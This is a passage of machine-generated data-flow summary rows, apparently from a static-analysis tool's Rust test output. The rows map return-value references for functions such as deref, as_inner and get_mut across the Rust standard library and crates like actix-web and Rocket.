lang:core::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::as_octets | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_octets | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::as_octets | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_octets | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::ip | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::ip | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::digits | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::digits | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::digits | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::digits | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::kind | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::kind | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::end | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::end | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::start | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::start | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert_default | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert_default | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert_with | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert_with | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::insert | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::as_slice | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_slice | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::local_waker | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::local_waker | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::waker | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::waker | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::trim | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::trim | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::Unmark>::unmark | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::Unmark>::unmark | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::Unmark>::unmark | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::Unmark>::unmark | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::::message | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::message | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::::spans | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::spans | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_encoded_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_encoded_bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::borrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::error | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::error | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::buffer | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::buffer | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::buffer_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::buffer_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_mut_os_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_mut_os_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_os_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_os_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_mut_os_string | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_mut_os_string | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_encoded_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_encoded_bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_file_desc | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_file_desc | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::env_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::env_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_argv | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_argv | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_closures | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_closures | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_program_cstr | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_program_cstr | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::thread | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::thread | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::thread | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::thread | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_cstr | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_cstr | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::crate::sync::poison::mutex::guard_lock | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::sync::poison::mutex::guard_lock | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::crate::sync::poison::mutex::guard_poison | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::sync::poison::mutex::guard_poison | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo::serde_test_suite::_::::get | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::get | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo::serde_test_suite::_::::second | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::second | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-files::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-files::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-router::_::<_ as crate::resource_path::Resource>::resource_path | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-router::_::<_ as crate::resource_path::Resource>::resource_path | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:awc::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:awc::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_styled_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_styled_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_internal_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_internal_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/hyperium/hyper:hyper::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/hyperium/hyper:hyper::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::as_bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates::_::::context | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates::_::::context | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::file | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::file | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::file_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::file_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: 